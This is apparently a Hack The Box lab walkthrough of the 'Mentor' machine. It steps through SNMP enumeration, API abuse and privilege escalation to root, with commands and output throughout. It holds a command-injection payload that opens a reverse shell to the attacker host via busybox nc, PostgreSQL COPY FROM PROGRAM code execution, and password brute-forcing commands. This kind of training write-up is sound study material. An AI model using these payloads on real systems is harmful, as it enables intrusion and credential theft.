HTB: Mentor¶
Summary with Spoilers
This Linux machine is running a web application with an exploitable API endpoint vulnerable to command injection, but it required careful enumeration to find it. An SNMP service revealed sensitive information, including a process string that leaked credentials. Privilege escalation was straightforward, using the credentials discovered to SSH into the host and leveraging password reuse to escalate to root.
Enumeration¶
nmap
¶
TCP¶
- Target:
10.10.11.193
- Command:
nmap -v --reason -Pn -T4 -p- --open -sCV -oA nmap_tcp-10.10.11.193 10.10.11.193
22/tcp-ssh OpenSSH
8.9p1 Ubuntu 3
(Ubuntu Linux; protocol 2.0)
¶
__ssh-hostkey:
256 c7:3b:fc:3c:f9:ce:ee:8b:48:18:d5:d1:af:8e:c2:bb (ECDSA)
256 44:40:08:4c:0e:cb:d4:f1:8e:7e:ed:a8:5c:68:a4:f7 (ED25519)
80/tcp-http Apache httpd
2.4.52
¶
__http-methods:
Supported Methods: GET HEAD POST OPTIONS
__http-title:
Did not follow redirect to http://mentorquotes.htb/
__http-server-header:
Apache/2.4.52 (Ubuntu)
Manual Enumeration¶
The web service redirects to a vhost called mentorquotes.htb
:
SNMP¶
$ snmpbulkwalk -c public -v2c mentorquotes.htb .
SNMPv2-MIB::sysDescr.0 = STRING: Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (287203) 0:47:52.03
SNMPv2-MIB::sysContact.0 = STRING: Me <admin@mentorquotes.htb>
SNMPv2-MIB::sysName.0 = STRING: mentor
SNMPv2-MIB::sysLocation.0 = STRING: Sitting on the Dock of the Bay
SNMPv2-MIB::sysServices.0 = INTEGER: 72
SNMPv2-MIB::sysORLastChange.0 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORID.1 = OID: SNMP-FRAMEWORK-MIB::snmpFrameworkMIBCompliance
SNMPv2-MIB::sysORID.2 = OID: SNMP-MPD-MIB::snmpMPDCompliance
SNMPv2-MIB::sysORID.3 = OID: SNMP-USER-BASED-SM-MIB::usmMIBCompliance
SNMPv2-MIB::sysORID.4 = OID: SNMPv2-MIB::snmpMIB
SNMPv2-MIB::sysORID.5 = OID: SNMP-VIEW-BASED-ACM-MIB::vacmBasicGroup
SNMPv2-MIB::sysORID.6 = OID: TCP-MIB::tcpMIB
SNMPv2-MIB::sysORID.7 = OID: UDP-MIB::udpMIB
SNMPv2-MIB::sysORID.8 = OID: IP-MIB::ip
SNMPv2-MIB::sysORID.9 = OID: SNMP-NOTIFICATION-MIB::snmpNotifyFullCompliance
SNMPv2-MIB::sysORID.10 = OID: NOTIFICATION-LOG-MIB::notificationLogMIB
SNMPv2-MIB::sysORDescr.1 = STRING: The SNMP Management Architecture MIB.
SNMPv2-MIB::sysORDescr.2 = STRING: The MIB for Message Processing and Dispatching.
SNMPv2-MIB::sysORDescr.3 = STRING: The management information definitions for the SNMP User-based Security Model.
SNMPv2-MIB::sysORDescr.4 = STRING: The MIB module for SNMPv2 entities
SNMPv2-MIB::sysORDescr.5 = STRING: View-based Access Control Model for SNMP.
SNMPv2-MIB::sysORDescr.6 = STRING: The MIB module for managing TCP implementations
SNMPv2-MIB::sysORDescr.7 = STRING: The MIB module for managing UDP implementations
SNMPv2-MIB::sysORDescr.8 = STRING: The MIB module for managing IP and ICMP implementations
SNMPv2-MIB::sysORDescr.9 = STRING: The MIB modules for managing SNMP Notification, plus filtering.
SNMPv2-MIB::sysORDescr.10 = STRING: The MIB module for logging SNMP Notifications.
SNMPv2-MIB::sysORUpTime.1 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.2 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.3 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.4 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.5 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.6 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.7 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.8 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.9 = Timeticks: (1) 0:00:00.01
SNMPv2-MIB::sysORUpTime.10 = Timeticks: (1) 0:00:00.01
HOST-RESOURCES-MIB::hrSystemUptime.0 = Timeticks: (288909) 0:48:09.09
HOST-RESOURCES-MIB::hrSystemDate.0 = STRING: 2024-12-18,19:3:39.0,+0:0
HOST-RESOURCES-MIB::hrSystemInitialLoadDevice.0 = INTEGER: 393216
HOST-RESOURCES-MIB::hrSystemInitialLoadParameters.0 = STRING: "BOOT_IMAGE=/vmlinuz-5.15.0-56-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
"
HOST-RESOURCES-MIB::hrSystemNumUsers.0 = Gauge32: 0
HOST-RESOURCES-MIB::hrSystemProcesses.0 = Gauge32: 228
HOST-RESOURCES-MIB::hrSystemMaxProcesses.0 = INTEGER: 0
HOST-RESOURCES-MIB::hrSystemMaxProcesses.0 = No more variables left in this MIB View (It is past the end of the MIB tree)
There isn't much in that SNMP output that's useful.
I tried brute-forcing other community strings with onesixtyone
, but apparently it only works with protocol v1. However, SNMP-Brute
handles v2c:
$ python3 ./snmpbrute.py -b -a -t mentor.htb
...
Identified Community strings
0) 10.10.11.193 internal (v2c)(RO)
1) 10.10.11.193 public (v1)(RO)
2) 10.10.11.193 public (v2c)(RO)
3) 10.10.11.193 public (v1)(RO)
4) 10.10.11.193 public (v2c)(RO)
Finished!
The community string internal
gives up a list of processes, including what looks like a process with a password argument:
$ snmpwalk -c internal -v2c -m ALL mentorquotes.htb | tee snmp-internal.txt
MIB search path: /home/e/.snmp/mibs:/usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf
...
HOST-RESOURCES-MIB::hrSWRunParameters.2112 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213"
Password: kj23sadkj123as0-d213
Subdomain Fuzzing¶
Fuzzing subdomains turns up one interesting result, api.mentorquotes.htb
. I missed this initially because I was filtering out 404 error codes, and the -mc all
flag was needed for this.
$ ffuf -w ~/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://mentorquotes.htb/ -H 'Host: FUZZ.mentorquotes.htb' -mc all -fw 18
...
api [Status: 404, Size: 22, Words: 2, Lines: 1, Duration: 101ms]
#www [Status: 400, Size: 308, Words: 26, Lines: 11, Duration: 94ms]
#mail [Status: 400, Size: 308, Words: 26, Lines: 11, Duration: 96ms]
:: Progress: [19966/19966] :: Job [1/1] :: 420 req/sec :: Duration: [0:00:48] :: Errors: 0 ::
$ feroxbuster -k -u http://api.mentorquotes.htb/ -w ~/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -C404,403 -d1 -EBg -x php
...
404 GET 1l 2w 22c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 69l 212w 2637c http://api.mentorquotes.htb/docs/oauth2-redirect
200 GET 1l 48w 7676c http://api.mentorquotes.htb/openapi.json
307 GET 0l 0w 0c http://api.mentorquotes.htb/docs/ => http://api.mentorquotes.htb/docs
200 GET 31l 62w 969c http://api.mentorquotes.htb/docs
307 GET 0l 0w 0c http://api.mentorquotes.htb/users => http://api.mentorquotes.htb/users/
307 GET 0l 0w 0c http://api.mentorquotes.htb/admin => http://api.mentorquotes.htb/admin/
307 GET 0l 0w 0c http://api.mentorquotes.htb/quotes => http://api.mentorquotes.htb/quotes/
[#>------------------] - 48s 17411/175236 7m found:7 errors:1
[>-------------------] - 48s 5811/175218 122/s http://api.mentorquotes.htb/
200 GET 28l 52w 772c http://api.mentorquotes.htb/redoc
...
API¶
There is an openapi.json
file with a full API spec:
$ curl -s http://api.mentorquotes.htb/openapi.json | jq
{
"openapi": "3.0.2",
"info": {
"title": "MentorQuotes",
"description": "Working towards helping people move forward",
"contact": {
"name": "james",
"url": "http://mentorquotes.htb",
"email": "james@mentorquotes.htb"
},
"version": "0.0.1"
},
"paths": {
"/auth/login": {
"post": {
...
A handy Redoc API browser is available at /doc/redoc
:
Now, I have a valid username (james
) and potentially a way to create my own user and modify content on the site.
It takes me a few tries to get the curl
command right, but I'm able to create a user:
$ curl http://api.mentorquotes.htb/auth/signup -X POST -d '{"email": "x@x.x", "username": "x", "password": "x"}'
{"detail":[{"loc":["body"],"msg":"value is not a valid dict","type":"type_error.dict"}]}
$ curl http://api.mentorquotes.htb/auth/signup -X POST -H "Content-Type: application/json" -d '{"email": "x@x.x", "username": "x", "password": "x"}'
{"detail":[{"loc":["body","username"],"msg":"ensure this value has at least 5 characters","type":"value_error.any_str.min_length","ctx":{"limit_value":5}},{"loc":["body","password"],"msg":"ensure this value has at least 8 characters","type":"value_error.any_str.min_length","ctx":{"limit_value":8}}]}
$ curl http://api.mentorquotes.htb/auth/signup -X POST -H "Content-Type: application/json" -d '{"email": "x@x.x", "username": "x", "password": "xxxxxxxx"}'
{"detail":[{"loc":["body","username"],"msg":"ensure this value has at least 5 characters","type":"value_error.any_str.min_length","ctx":{"limit_value":5}}]}
$ curl http://api.mentorquotes.htb/auth/signup -X POST -H "Content-Type: application/json" -d '{"email": "x@x.x", "username": "xxxxx", "password": "xxxxxxxx"}'
{"id":4,"email":"x@x.x","username":"xxxxx"}
Logging in:
$ curl http://api.mentorquotes.htb/auth/login -X POST -H "Content-Type: application/json" -d '{"email": "x@x.x", "username": "xxxxx", "password": "xxxxxxxx"}'
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Inh4eHh4IiwiZW1haWwiOiJ4QHgueCJ9.7D5GPsEWtTg2HosVBbkQV2aKMmi68xFC_BY5NeQFEbY"
But I can't even read the quotes because the functionality is limited to admin users:
$ curl http://api.mentorquotes.htb/quotes/ -X POST -H "Content-Type: application/json" -H "Authorization: $token"
{"detail":"Only admin users can access this resource"}
Instead I decide to try brute-forcing the password for james
. First I'll filter rockyou.txt
for only passwords containing eight or more characters, per the target's policy:
$ grep -E '^.{8,}$' rockyou.txt > ~/rockyou-8ormore.txt
$ wc -l rockyou.txt ~/rockyou-8ormore.txt
14344391 rockyou.txt
9607061 /home/e/rockyou-8ormore.txt
23951452 total
$ ffuf -u http://api.mentorquotes.htb/auth/login/ -X POST -H "Content-Type: application/json" -w ~/rockyou-8ormore.txt -r -d '{"email": "james@mentorquotes.htb", "username": "james", "password": "FUZZ"}' -mc 200
...
Unfortunately, that yields no joy.
I try the password from the SNMP internal
listing, and it works:
$ curl http://api.mentorquotes.htb/auth/login -H "Content-Type: application/json" -d '{"email": "james@mentorquotes.htb", "username": "james", "password": "kj23sadkj123as0-d213"}' -v
* Host api.mentorquotes.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.193
* Trying 10.10.11.193:80...
* Connected to api.mentorquotes.htb (10.10.11.193) port 80
> POST /auth/login HTTP/1.1
> Host: api.mentorquotes.htb
> User-Agent: curl/8.5.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 92
>
< HTTP/1.1 200 OK
< Date: Thu, 02 Jan 2025 19:12:27 GMT
< Server: uvicorn
< content-length: 154
< content-type: application/json
<
* Connection #0 to host api.mentorquotes.htb left intact
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0"
$ curl http://api.mentorquotes.htb/quotes/ -H "Content-Type: application/json" -H "Authorization: $token"
[{"title":" I believed I was good","description":"I was so bad at studies in school. Teachers used to tell me that I should follow a different passion other than typical education. Nonetheless, I got rid of the negativity in myself and others and worked as hard as I could in my finals and college education. Now I am a paid accountant for a major brand in my country.","id":1},{"title":"Find your passion before its too late","description":"When I was growing up, I did not really have much, sure I enjoyed my passion but did not take it seriously. When I worked in a gas station for 3 years at that point I made a decision to go back to education and get a masters degree. Now I am a senior content engineer for a reputed company","id":2},
...
Remote Code Execution¶
With a valid admin user for the web application, I can add a new quote. I'll try one with some malicious PHP code, but it's escaped:
Using feroxbuster
I find an undocumented API path called /admin
, with /admin/backup
and /admin/check
.
$ curl http://api.mentorquotes.htb/admin/backup -H "Content-Type: application/json" -H "Authorization: $token"
{"detail":"Method Not Allowed"}
$ curl http://api.mentorquotes.htb/admin/backup -H "Content-Type: application/json" -H "Authorization: $token" -d '{}'
{"detail":[{"loc":["body","path"],"msg":"field required","type":"value_error.missing"}]}
It works but I'm not sure what to do with it yet:
$ curl http://api.mentorquotes.htb/admin/backup -H "Content-Type: application/json" -H "Authorization: $token" -d '{"path": "/etc/passwd"}'
{"INFO":"Done!"}
It responds "Done!" no matter what I pass for the argument. After a while, I find a command injection:
$ curl http://api.mentorquotes.htb/admin/backup -H "Content-Type: application/json" -H "Authorization: $token" -d '{"path": "x;ping -c5 10.10.14.3;"}'
{"INFO":"Done!"}
This is good enough for a reverse shell:
$ curl http://api.mentorquotes.htb/admin/backup -H "Content-Type: application/json" -H "Authorization: $token" -d '{"path": "x;busybox nc 10.10.14.3 443 -e sh;"}'
$ rlwrap nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.193 39713
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
I get excited about the root
user but then realize it's a container:
ls -la /
total 172
drwxr-xr-x 1 root root 4096 Jan 2 17:21 .
drwxr-xr-x 1 root root 4096 Jan 2 17:21 ..
-rwxr-xr-x 1 root root 0 Jan 2 17:21 .dockerenv
drwxr-xr-x 3 root root 4096 Dec 11 2022 API
drwxr-xr-x 1 root root 4096 Nov 10 2022 app
-rw-r--r-- 1 root root 101888 Jan 2 20:07 app_backkup.tar
drwxr-xr-x 1 root root 4096 Jun 8 2022 bin
drwxr-xr-x 5 root root 340 Jan 2 17:21 dev
drwxr-xr-x 1 root root 4096 Jan 2 17:21 etc
drwxr-xr-x 1 root root 4096 Nov 10 2022 home
...
But, at least I find user.txt
in /home/svc/
.
Peeking inside app_backkup.tar
:
cat .Dockerfile.swp
b0nano 6.2rootmentorAPI/DockerfileU
cat Dockerfile
FROM python:3.6.9-alpine
RUN apk --update --upgrade add --no-cache gcc musl-dev jpeg-dev zlib-dev libffi-dev cairo-dev pango-dev gdk-pixbuf-dev
WORKDIR /app
ENV HOME /home/svc
ENV PATH /home/svc/.local/bin:${PATH}
RUN python -m pip install --upgrade pip --user svc
COPY requirements.txt requirements.txt
RUN pip install -r requirements.txt
RUN pip install pydantic[email] pyjwt
EXPOSE 8000
COPY . .
CMD ["python3", "-m", "uvicorn", "app.main:app", "--reload", "--workers", "100", "--host", "0.0.0.0", "--port" ,"8000"]
Here's db.py
with the database IP address, at least:
import os
from sqlalchemy import (Column, DateTime, Integer, String, Table, create_engine, MetaData)
from sqlalchemy.sql import func
from databases import Database
# Database url if none is passed the default one is used
DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db")
# SQLAlchemy for quotes
engine = create_engine(DATABASE_URL)
metadata = MetaData()
quotes = Table(
"quotes",
metadata,
...
PostgreSQL is accessible:
busybox nc -nvz 172.22.0.1 5432 2>&1
172.22.0.1 (172.22.0.1:5432) open
I look at env
and find a secret:
HOSTNAME=0e3d85942e66
WORK_DIR=/app/
PYTHON_PIP_VERSION=19.3.1
SHLVL=3
HOME=/home/svc
OLDPWD=/app
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/ffe826207a010164265d9cc807978e3604d18ca0/get-pip.py
PATH=/home/svc/.local/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ADMIN_USER=james
ADMIN_EMAIL=james@mentorquotes.htb
LANG=C.UTF-8
SECRET=76dsf761g31276hjgsdkahuyt123
PYTHON_VERSION=3.6.9
PWD=/home/svc
PYTHON_GET_PIP_SHA256=b86f36cc4345ae87bfd4f10ef6b2dbfa7a872fbff70608a1e43944d283fd0eee
Privilege Escalation¶
I've got a root
shell inside a container, and network access to its PostgreSQL server. I don't have a psql
client in the container so I setup ligolo to try from my attack host.
After setting up the tunnel, I'll also need to add the route for the target's Docker container network.
$ sudo ip route add 172.22.0.0/16 dev ligolo
Then I can login to the database with the default credentials:
$ psql -h 172.22.0.1 -U postgres
Password for user postgres:
psql (16.6 (Ubuntu 16.6-0ubuntu0.24.04.1), server 13.7 (Debian 13.7-1.pgdg110+1))
Type "help" for help.
postgres=#
I can execute code as postgres
on the database container:
postgres=# DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'whoami';
NOTICE: table "cmd_exec" does not exist, skipping
DROP TABLE
CREATE TABLE
COPY 1
postgres=# select * from cmd_exec;
cmd_output
------------
postgres
(1 row)
However, that's not immediately useful.
I pick up a hash for the svc
user:
mentorquotes_db=# select * from users;
id | email | username | password
----+------------------------+-------------+----------------------------------
1 | james@mentorquotes.htb | james | 7ccdcd8c05b59add9c198d492b36a503
2 | svc@mentorquotes.htb | service_acc | 53f22d0dfa10dce7e29cd31f4f953fd8
(2 rows)
Crackstation has an entry for it: 123meunomeeivani
I try that username and password on the main target IP for SSH and it works:
$ ssh svc@mentor.htb
...
Last login: Mon Dec 12 10:22:58 2022 from 10.10.14.40
svc@mentor:~$
LinPEAS turns up a password:
╔══════════╣ Analyzing SNMP Files (limit 70)
-rw-r--r-- 1 root root 3453 Jun 5 2022 /etc/snmp/snmpd.conf
# rocommunity: a SNMPv1/SNMPv2c read-only access community name
rocommunity public default -V systemonly
rocommunity6 public default -V systemonly
createUser bootstrap MD5 SuperSecurePassword123__ DES
-rw------- 1 Debian-snmp Debian-snmp 1268 Jan 2 17:21 /var/lib/snmp/snmpd.conf
On my first pass I thought that was a boilerplate config sample password, but it's not:
svc@mentor:~$ su - james
Password:
james@mentor:~$ id
uid=1000(james) gid=1000(james) groups=1000(james)
The rest is very easy:
james@mentor:~$ sudo -l
[sudo] password for james:
Matching Defaults entries for james on mentor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on mentor:
(ALL) /bin/sh
james@mentor:~$ sudo /bin/sh -p
# id
uid=0(root) gid=0(root) groups=0(root)
Credits¶
My first attempt at brute-forcing a private SNMP community string wasn't successful, because I was using onesixtyone
which only does version 1. I tried again with SNMP-Brute.py
which handles version 2c, and that worked. Thanks to 0xdf for the hint on using the proper tool for brute-forcing SNMP v2c community strings.